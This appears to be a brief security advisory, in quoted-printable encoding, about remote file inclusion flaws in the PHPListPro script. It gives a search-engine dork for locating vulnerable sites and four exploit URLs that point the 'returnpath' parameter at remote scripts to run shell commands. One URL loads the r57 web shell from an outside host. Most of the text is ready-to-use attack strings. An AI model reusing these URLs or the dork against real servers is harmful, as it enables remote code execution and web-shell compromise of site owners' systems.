|
Credits:=0D
Discovered by: SnoB ->> SnoBmsn@hotmail.de=0D
http://www.cyber-security.org=0D
=0D
Vendor URL : SmartISoft http://smartisoft.com=0D
=0D
Dork/Search for: "PHPListPro =A92001-2006 SmartISoft"=0D
=0D
Exploit : =0D
=0D
/config.php?returnpath=http://www.example.com/yourscript.txt?&ls%20-laF=0D
/editsite.php?returnpath=http://www.example.com/yourscript.txt?&ls%20-laF=0D
/in.php?returnpath=http://www.example.com/yourscript.txt?&ls%20-laF=0D
/addsite.php?returnpath=http://mitglied.lycos.de/n0ssy/r57.txt?&cmd=ls=0D
=0D
Security Adivisory | Edithor by SnoB